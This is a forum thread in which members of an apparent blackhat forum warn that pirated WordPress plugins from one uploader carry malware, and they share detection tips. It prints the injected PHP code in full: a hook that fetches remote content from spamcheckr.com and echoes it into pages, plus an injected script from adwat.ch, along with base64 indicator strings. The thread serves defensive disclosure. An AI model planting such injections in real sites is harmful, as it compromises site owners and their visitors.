Best Blackhat Forum

I'm compiling a list of plug-ins infected and the OPs who have uploaded them...
Please, help on it.

I've already found more than 5 plug-ins shared by the member Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!)-Vip, owner of the website http://Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!)/ and there are probably a lot more of it. Probably you may have used one of them and your site and data is already compromised. As a measure, I'm starting this thread, and I hope the administrators don't ban me for this. If don't come back, or if this thread simply disappear, you are not in good hands at bestblackhatforum.com and I'll let you know it in the PasteBin and PasteBay - However, I do trust on administrators of communities like this, and I hope it is not the case...

Lets start finding and reporting the rotten apples!
Lets grab all these these guys...

Members be Aware!
Read it entirely...

These guys, namely Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!)-Vip, also from the website http://Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!)/ has been sharing malicious codes within their release!
This is the way they are doing money, and releasing more and more contents here and around the web with malicious scripts on it which helps them doing money.


To keep it simple...
1. Grab yourself a copy of DreamWeaver which will help you to search for codes and contents on an entire directory;
2. Open it, and hit the CTRL+F and point it to search inside a directory path you have your source;
3. Pay attention to the following lines you'll be searching for, and hit the 'find everything' button.
4. Try to grab a copy of Beyond Compare, which lets you to compare tons of files instantly...


If you ever downloaded something from them, promptly inspect your source code for curl_init functions, obfuscated codes, and some dirty clean code as well like ones I'll mention below:

Item A:
If you have it there, drop your site and start all over. Your site is already completely screwed... I'd start all over.
And add more reps to these low life beggars! Or go find them and teach them a lesson...
Search item by item, and if you find one, you've been screwed up.

Quote:spamcheckr
http://spamcheckr.com/
"http://spamcheckr.com/l.php"

adwat
http://adwat.ch/
http://adwat.ch/js/easylink.js


Here it is the entire code:

<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqv12_cahesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,​1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqv12_cahesk');}}
?>
<?php


And some more:

<script type="text/javascript">
var adwatch_id = 234224;
var adwatch_advert = "int";
var exclude_domains = ['affiliates.playboy.com', 'elperutienetalento.com', 'skeezybabes.com', 'wp-admin', 'kamapisachi.info', 'nude', 'sex', 'porn', 'naked', 'F***', 'cock', 'penis', 'tits', 'boobs', 'pussy', 'wp-login', 'hillaryClinton2016.com', 'mpmgworld.com', 'madeforher.in'];
</script>
<script type="text/javascript" src="http://adwat.ch/js/easylink.js"></script>

Item B:
If you find the exact obfuscated codes such the one below, drop it as well and start all over: You've got screwed by them as well.
If you find other obfuscated codes such as the other examples, I'd start all over as well, but it is up to you to decide it... However, some software developers uses obfuscated codes for protecting their source codes; but in anyway, I usually don't accept using anything obfuscated myself mainly when I download it from the Internet around the forums.Search for one by one, line by line, and not all the four in these examples. If you find something on this example, you're also screwed!

Quote:c3BhbWNoZWNrci5jb20vY2hlY2sucGhw
amFxcXNjaWdzQGdtYWlsLmNvbQ==
d29yZHByZXNzc2xvZ0B5YW5kZXguY29t
NdLJlmNQAADQX8muqo6FIKZTXV0HEUKixCybPsIzBOGZHu

Item C:
Look for functions like the ones below and inspect the URLs (links) that goes near by them. If you find some URL that might not be there, and with it I mean an "strange URL", something other than the developer URL or well know and trusted URLs, take double care and go further and try to figure out what does these addresses are pointing at. Again, if it is pointing to some unknown URL, you probably should not use it and try to get an original copy of the code to compare it, and if in your comparison it does not match, you are probably screwed as well. Search for:

Quote:curl_init
$addressd

Item D:
DO NOT BELIEVE in VirusTotal... It will not detect many of these craps all these guys are doing:
Check your self all the things prior to using it!
This is a good start.

If you found something infected or suspect, promptly report it as malicious with the following message and hitting the report button:
This nonsense has uploaded an infected item, and the OP should be permanently banned!
We are sharing our findings on these threads below, compiling a list of Members uploading infected items, as well the URLs.
Do not download it!
And please, help us on it here:

---

For Plug-ins:
http://bestblackhatforum.com/Thread-List...d-BE-AWARE

For Themes:
http://bestblackhatforum.com/Thread-List...d-BE-AWARE

Thanks,

---

Pastebin and Pastebay for copying the main part of the above message to help other users to find infected stuff they have downloaded...
Please, copy and paste its contents on the threads you found something infected so other people can be aware of it and learn how to find these stuff, and also share it he with us, by reporting the members uploading these bad contents as well the URLs to these contents.

Simply hit the reply button, select SOURCE and paste it, and it will be formated correctly to the thread.
Copy and paste it on all the threads you find an infected item please so people can get to know it:
http://*marked as SPAM*/LNNHvQMQ
http://pastebay.net/1498225

Two infected ones here, by Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!)-vip
Social Auto Poster v1.5.3
Ninja Kick Sidebar: Contact Form WordPress Plugin – V1.6.5

As they upload it to Flagged as VIRUS SPAM SITE, I can't download more than two items per two hours to test more stuff.
Please, download other stuff from them, as well from other members and report it back here so we can contribute to each other.
Please, check all your files and report it.
We really can't accept it! NO!

Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!) is a waste of dna. Everyone should avoid his posts like the plague. This forum would be better off without him.

Nice post and good cause, but, BUT as rule of thumb I would say all W*a*r*e*z sites try to infect you with something.

Lets report and get these low life guys banned from here...
I have other four infected items from Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!)-vip that has been downloaded before but I didn't check it, and also didn't use it.
I just saw it on my computer. So they are massively spreading their code, I think.
There are other people as well, but I'll study them carefully prior to publicly blaming them as malicious code spreading.

Why these pigs are still here?
Black hat doesn't mean exactly: screw everyone at all costs.

Many people share good and safe stuff, and that's the way it should be, right? :)

---
Another tip is:
Also bear in mind to search for an image that are mostly called social.png
It is not an image, but an script shared by some people to screw you as well. Remember, the name really does not matter: keep an eye on the image itself!
To find scripts mascaraed as images, simply browse the pictures in Windows Explorer or whatever, previewing them in any way you prefer. If an image shows nothing, try opening it with a text processor, and you probably will see an script, as it may not be an image.

this is the same as this thread here


http://bestblackhatforum.com/Thread-List...d-BE-AWARE

Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!) needs to be banned

More rep for you OP.

And I am going to keep trying to bump this thread, and the other themes one until they make them sticky.

Yes .. Please banned this guy (Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!))

(09-25-2014 11:26 AM)Auntie Wrote: [ -> ]Nice post and good cause, but, BUT as rule of thumb I would say all W*a*r*e*z sites try to infect you with something.

Hello.

Unfortunately, Auntie is absolutely correct.

Even here, since there's no way to check on someone before one do something.
But you are also right, and if some content is malicious, we shall report the Op.

NonConformer has come up with a safe torrent project, which sounds interesting.


Best regards